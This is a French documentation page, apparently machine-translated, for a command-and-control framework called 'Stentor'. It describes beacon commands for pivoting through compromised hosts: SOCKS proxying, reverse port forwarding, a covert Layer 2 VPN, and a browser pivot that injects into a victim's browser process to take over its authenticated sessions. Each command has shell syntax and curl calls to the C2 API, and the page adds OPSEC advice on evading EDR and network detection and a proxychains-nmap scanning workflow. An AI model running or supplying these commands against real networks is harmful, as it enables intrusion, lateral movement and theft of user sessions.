Aller au contenu

Opérations réseau

Stentor fournit une suite complète de commandes de pivotement de réseau, de tunneling et de transport qui permettent aux opérateurs d'acheminer le trafic via des hôtes compromis vers des segments de réseau autrement inaccessibles. Cette page documente chaque commande de beacon liée au réseau avec une syntaxe complète, des exemples d'API et des conseils OPSEC.


Aperçu

Les opérations réseau transforment un beacon en un point pivot, reliant les outils de l'opérateur au réseau interne de la cible. Le trafic circule via le canal C2, encapsulé dans la communication d'enregistrement normale du beacon.

graph LR
    A[Operator Tools<br/>nmap, proxychains,<br/>Burp, browser] --> B[Stentor Server<br/>:8082]
    B -->|C2 Channel<br/>HTTP / DNS / SMB| C[Relay Agent<br/>Kali]
    C -->|Listener Transport| D[Beacon<br/>Target Host]
    D --> E{Pivot Type}
    E -->|SOCKS5| F[Internal Network<br/>Any TCP Service]
    E -->|rportfwd| G[Specific Host:Port]
    E -->|Covert VPN| H[Layer 2 Bridge<br/>Full Network Access]
    E -->|Browser Pivot| I[Browser Sessions<br/>Cookies & Tokens]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff
    style F fill:#01579b,color:#fff
    style G fill:#01579b,color:#fff
    style H fill:#01579b,color:#fff
    style I fill:#01579b,color:#fff

Comparaison des techniques de pivotement

Technique Commande Direction Cas d'utilisation Impact de l'OPSEC Vitesse
Procuration SOCKS5 socks <port> Beacon -> Réseau interne Accès TCP générique à n'importe quel hôte/port interne Moyen : tout le trafic passe par le canal C2 Modéré (latence C2)
Redirection de port inversé rportfwd <port> <host> <port> Hôte interne -> Beacon -> Teamserver -> Destination Exposer le service interne au serveur d'équipe Faible – port unique, ciblé Rapide (relais direct)
Redirection de port local rportfwd_local <port> Opérateur -> Teamserver -> Beacon -> Cible Accéder au service côté beacon depuis le poste de travail de l'opérateur Faible – port unique, ciblé Rapide (relais direct)
VPN secret covertvpn <iface> <ip> Pont complet de couche 2 Accès réseau complet (DHCP, diffusion, multidiffusion) Élevé – trames Ethernet brutes via C2 Variable (large bande passante)
Pivot du navigateur browserpivot <pid> Beacon -> Processus du navigateur Hériter des sessions de navigateur authentifiées Moyen – injection inter-processus Rapide (proxy local)

Choisir la bonne technique

Commencez par SOCKS5 pour un pivotement à usage général. Utilisez rportfwd lorsque vous avez besoin d'un seul service spécifique. Réservez Covert VPN pour les scénarios nécessitant un accès de couche 2 (par exemple, énumération de VLAN, protocoles de diffusion). Utilisez Browser Pivot lorsque vous devez détourner une session Web authentifiée.


Proxy SOCKS

Démarrez un serveur proxy SOCKS5 (ou SOCKS4a) sur le serveur d'équipe qui tunnelise tout le trafic via le beacon. Les outils de l'opérateur se connectent au port SOCKS du serveur d'équipe et le beacon relaie le trafic vers le réseau interne de la cible.

socks <port>

Démarrez un proxy SOCKS sur le serveur d'équipe lié à <port>. Le trafic reçu sur ce port est encapsulé via le canal C2 vers le beacon, qui fait office de nœud de sortie vers le réseau interne.

Syntaxe du shell :

socks 1080

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/socks/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "port": 1080
  }'

Réponse :

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "port": 1080,
  "version": "socks5"
}

Options avancées :

Options Type Par défaut Description
port int -- Port d'écoute SOCKS sur le serveur d'équipe (1024-65535)
version chaîne socks5 Version du protocole : socks5 ou socks4a
no_auth bool false Désactiver l'authentification SOCKS5
username chaîne -- Nom d'utilisateur SOCKS5 (si l'authentification est activée)
password chaîne -- Mot de passe SOCKS5 (si l'authentification est activée)

socks stop

Arrêtez le proxy SOCKS pour un beacon.

Syntaxe du shell :

socks stop

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/socks/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID"
  }'

Exemple d'utilisation : proxychains avec nmap

Acheminez nmap via le tunnel SOCKS pour analyser les hôtes internes :

# 1. Start SOCKS proxy on teamserver port 1080
socks 1080

# 2. Configure proxychains on operator workstation
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# 3. Scan internal network through the tunnel
proxychains nmap -sT -Pn -p 445,3389,22 10.10.10.0/24

SOCKS4a contre SOCKS5

SOCKS5 prend en charge UDP et l'authentification. SOCKS4a prend en charge la résolution DNS à distance (nom d'hôte envoyé au proxy). Utilisez SOCKS5 sauf si vos outils nécessitent une compatibilité SOCKS4a.

Considérations OPSEC

  • Tout le trafic SOCKS est encapsulé dans le canal C2 du beacon, augmentant considérablement la bande passante C2.
  • L'analyse de gros volumes (par exemple, les analyses de ports complets nmap) génère des modèles de trafic inhabituels dans le canal C2.
  • L'intervalle de veille du beacon affecte directement le débit SOCKS : réduisez le sommeil pour des performances SOCKS utilisables.
  • Surveillez attentivement la bande passante C2 : un débit élevé et soutenu peut déclencher la détection d'anomalies sur le réseau.
  • MITRE ATT&CK : T1090 (Procuration)

Liste des proxys SOCKS actifs

curl -s https://stentor.app/api/v1/cockpit/socks \
  -H "Authorization: Bearer $TOKEN"

Redirection de port inversée

Les transferts de port inversés créent des tunnels ciblés entre des hôtes et des ports spécifiques. Deux variantes sont disponibles : rportfwd (liaison côté serveur d'équipe, transfert côté serveur d'équipe) et rportfwd_local (liaison côté serveur d'équipe, transfert côté beacon).

rportfwd <bind_port> <forward_host> <forward_port>

Liez un port sur l'hôte de beacon et transférez le trafic entrant via le canal C2 vers le teamserver, qui se connecte ensuite à forward_host:forward_port.

Flux de trafic :

Internal Host -> Beacon:bind_port -> C2 Channel -> Teamserver -> forward_host:forward_port

Cas d'utilisation : Exposez un service interne afin que le serveur d'équipe (ou les outils qui s'exécutent sur celui-ci) puissent l'atteindre. Par exemple, transférez un serveur Web interne vers le serveur d'équipe pour l'analyse de Burp Suite.

Syntaxe du shell :

rportfwd 8080 127.0.0.1 80

Cela lie le port 8080 sur l’hôte du beacon. Toute connexion à beacon:8080 est transmise à 127.0.0.1:80 côté serveur d'équipe.

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 8080,
    "dest_addr": "127.0.0.1:80"
  }'

Réponse :

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "bind_port": 8080,
  "dest_addr": "127.0.0.1:80"
}

rportfwd stop <bind_port>

Arrêtez un transfert de port inversé.

Syntaxe du shell :

rportfwd stop 8080

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 8080
  }'

rportfwd_local <bind_port>

Liez un port sur le teamserver et transférez le trafic entrant via le canal C2 vers la beacon, qui se connecte à la cible. Les outils de l'opérateur se connectent à teamserver:bind_port et le trafic est acheminé via le beacon vers le réseau cible.

Flux de trafic :

Operator Tools -> Teamserver:bind_port -> C2 Channel -> Beacon -> Target

Cas d'utilisation : Accédez à un service sur ou à proximité de l'hôte du beacon depuis le poste de travail de l'opérateur. Par exemple, connectez-vous à une base de données interne via le beacon.

Syntaxe du shell :

rportfwd_local 3306

Cela lie le port 3306 sur le serveur d'équipe. Toute connexion à teamserver:3306 est transmise via le beacon.

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/start_local \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 3306
  }'

Réponse :

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "bind_port": 3306,
  "local": true
}

rportfwd_local stop <bind_port>

Arrêtez un transfert de port local.

Syntaxe du shell :

rportfwd_local stop 3306

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/stop_local \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 3306
  }'

Comparaison des flux de trafic

sequenceDiagram
    participant IH as Internal Host
    participant B as Beacon
    participant C2 as C2 Channel
    participant TS as Teamserver
    participant OP as Operator Tools

    Note over IH,OP: rportfwd (Remote Bind)
    IH->>B: Connect to beacon:bind_port
    B->>C2: Encapsulate traffic
    C2->>TS: Deliver to teamserver
    TS->>TS: Forward to dest_addr

    Note over IH,OP: rportfwd_local (Local Bind)
    OP->>TS: Connect to teamserver:bind_port
    TS->>C2: Encapsulate traffic
    C2->>B: Deliver to beacon
    B->>IH: Connect to target

Répertorier les transferts de ports actifs

# List all active port forwards
curl -s https://stentor.app/api/v1/cockpit/portfwd \
  -H "Authorization: Bearer $TOKEN"

# List port forwards for a specific beacon
curl -s https://stentor.app/api/v1/cockpit/portfwd/BEACON_UUID \
  -H "Authorization: Bearer $TOKEN"

Considérations OPSEC

  • Les transferts de port sont plus ciblés que SOCKS : seul le port spécifié est exposé
  • rportfwd ouvre un port d'écoute sur l'hôte du beacon, qui est visible par les scanners du réseau local
  • rportfwd_local ouvre un port sur le serveur d'équipe, qui est moins visible pour le réseau cible
  • Les deux variantes ajoutent du trafic au canal C2 proportionnellement à l'utilisation du tunnel.
  • MITRE ATT&CK : T1572 (tunnelage de protocole)

VPN secret

Créez un tunnel VPN de couche 2 via le beacon, reliant le réseau de l'opérateur au segment de réseau de la cible. Cela crée une interface TAP sur le serveur d'équipe qui fournit un accès complet au niveau Ethernet au réseau cible.

covertvpn <interface> <ip> [mtu]

Démarrez un tunnel VPN secret via le beacon.

Paramètre Type Obligatoire Description
interface chaîne Oui Nom de l'interface TAP sur le serveur d'équipe (par exemple, tap0)
ip chaîne Oui Adresse IP à attribuer à l'interface TAP
mtu int Non Unité de transmission maximale (par défaut : 1 500, plage : 576-9 000)

Syntaxe du shell :

covertvpn tap0 10.0.0.200
covertvpn tap0 10.0.0.200 1400

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/covertvpn/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "interface": "tap0",
    "ip": "10.0.0.200",
    "mtu": 1400,
    "channel": "tcp_bind"
  }'

Réponse :

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "interface": "tap0",
  "ip": "10.0.0.200",
  "mtu": 1400,
  "channel": "tcp_bind"
}

Options de chaîne :

Chaîne Description
tcp_bind Beacon lie un port TCP pour les données VPN (par défaut)
tcp_reverse Teamserver se lie, le beacon se reconnecte
udp Canal de données basé sur UDP
icmp Canal de données basé sur ICMP (nécessite des sockets bruts)
http Canal de données basé sur HTTP (se mélange au trafic Web)

Options supplémentaires :

Options Type Par défaut Description
clone_mac bool false Cloner l'adresse MAC de la cible pour l'authenticité de couche 2

covertvpn stop

Démontez le tunnel VPN et supprimez l'interface TAP.

Syntaxe du shell :

covertvpn stop

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/covertvpn/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID"
  }'

Liste des tunnels VPN actifs

curl -s https://stentor.app/api/v1/cockpit/covertvpn \
  -H "Authorization: Bearer $TOKEN"

Considérations OPSEC

  • Volume de trafic extrêmement élevé : les trames Ethernet brutes traversent le canal C2 pour chaque paquet
  • Le trafic de diffusion et de multidiffusion du réseau cible est capturé et relayé
  • Idéal pour les environnements de laboratoire ou les engagements où la furtivité n'est pas la principale préoccupation
  • L'interface TAP sur le serveur d'équipe apparaît comme une véritable interface réseau -- soyez prudent avec le routage
  • Envisagez de réduire la MTU pour minimiser la surcharge de fragmentation dans le canal C2
  • MITRE ATT&CK : T1572 (tunnelage de protocole)

Pivot du navigateur

Injecter dans un processus navigateur pour hériter de ses sessions authentifiées (cookies, tokens, certificats clients TLS). Le beacon crée un proxy HTTP local vers lequel l'opérateur peut pointer son navigateur pour utiliser les sessions Web de la cible.

browserpivot <pid> [arch]

Démarrez un pivot de navigateur en injectant dans le processus de navigateur spécifié.

Paramètre Type Obligatoire Description
pid int Oui ID de processus du navigateur dans lequel injecter
arch chaîne Non Architecture du processus : x64 (par défaut) ou x86

Syntaxe du shell :

browserpivot 4528
browserpivot 4528 x86

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/browserpivot/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "port": 8888,
    "pid": 4528,
    "arch": "x64"
  }'

Réponse :

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "port": 8888,
  "pid": 4528
}

browserpivot stop

Arrêtez le pivot du navigateur et nettoyez le code injecté.

Syntaxe du shell :

browserpivot stop

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/browserpivot/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID"
  }'

Répertorier les pivots de navigateur actifs

curl -s https://stentor.app/api/v1/cockpit/browserpivot \
  -H "Authorization: Bearer $TOKEN"

Flux de travail d'utilisation

  1. Énumérez les processus du navigateur sur la cible : ps (recherchez chrome.exe, msedge.exe, iexplore.exe)
  2. Démarrez le pivot du navigateur : browserpivot <browser_pid>
  3. Configurez votre navigateur local pour utiliser le proxy : teamserver_ip:8888
  4. Parcourez les applications Web internes à l'aide des sessions authentifiées de la cible

Considérations OPSEC

  • L'injection inter-processus dans le processus du navigateur peut déclencher des alertes EDR en cas de manipulation de processus
  • Le code injecté crée un tube nommé (\\.\pipe\bpivot_*) pour IPC avec le beacon
  • Plus efficace contre Internet Explorer et l'ancien Edge : les navigateurs modernes basés sur Chromium ont une isolation des processus plus stricte.
  • Le port proxy (8888 par défaut) est ouvert du côté du serveur d'équipe, pas du côté de la cible.
  • MITRE ATT&CK : T1185 (piratage de session de navigateur)

Mode de transport

Changez le mode du canal de données DNS sur un beacon DNS. Cela contrôle la manière dont les données de beacon sont codées dans les requêtes DNS.

mode <dns|dns6|dns-txt>

Modifiez le mode de codage du canal de données DNS.

Mode Type d'enregistrement DNS Bande passante Furtif Description
dns Un enregistrement Faible (~ 4 octets/requête) Élevé Données codées dans des adresses IPv4 ; capacité minimale par requête
dns6 Enregistrements AAAA Moyen (~ 16 octets/requête) Moyen Données codées dans des adresses IPv6 ; Capacité 4x des enregistrements A
dns-txt Enregistrements TXT Élevé (~ 189 octets/requête) Inférieur Données codées dans les valeurs d'enregistrement TXT ; bande passante la plus élevée

Syntaxe du shell :

mode dns-txt
mode dns
mode dns6

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "mode dns-txt"
  }'

Beacons DNS uniquement

La commande mode s'applique uniquement aux beacons utilisant le transport DNS. Les beacons HTTP/HTTPS ignorent cette commande. Consultez la documentation de DNS Listener pour la configuration du listener.

Considérations OPSEC

  • Les requêtes d'enregistrement TXT sont moins courantes dans le trafic normal et peuvent apparaître dans les journaux DNS
  • Le mode d'enregistrement est le plus furtif mais possède la bande passante la plus faible : idéal pour les opérations lentes et lentes.
  • Le mode d'enregistrement AAAA est un bon compromis entre bande passante et furtivité
  • Les requêtes DNS fréquentes de tout type sur un seul domaine sont détectables via l'analyse DNS
  • MITRE ATT&CK : T1071.004 (Protocole de couche application : DNS)

Journalisation

Activez la journalisation détaillée du trafic pour un proxy SOCKS :

curl -s -X PUT https://stentor.app/api/v1/cockpit/socks/logging \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "port": 1080,
    "enabled": true
  }'

Interrogation de l'état du tunnel

Tous les tunnels actifs (SOCKS, transferts de port, pivots de navigateur, VPN) peuvent être interrogés via leurs points de terminaison de liste respectifs :

Type de tunnel Répertorier le point de terminaison
CHAUSSETTES GET /api/v1/cockpit/socks
Transferts de ports GET /api/v1/cockpit/portfwd
Pivots du navigateur GET /api/v1/cockpit/browserpivot
VPN secret GET /api/v1/cockpit/covertvpn

Chacun prend également en charge une requête par beacon : GET /api/v1/cockpit/{type}/{beaconId}.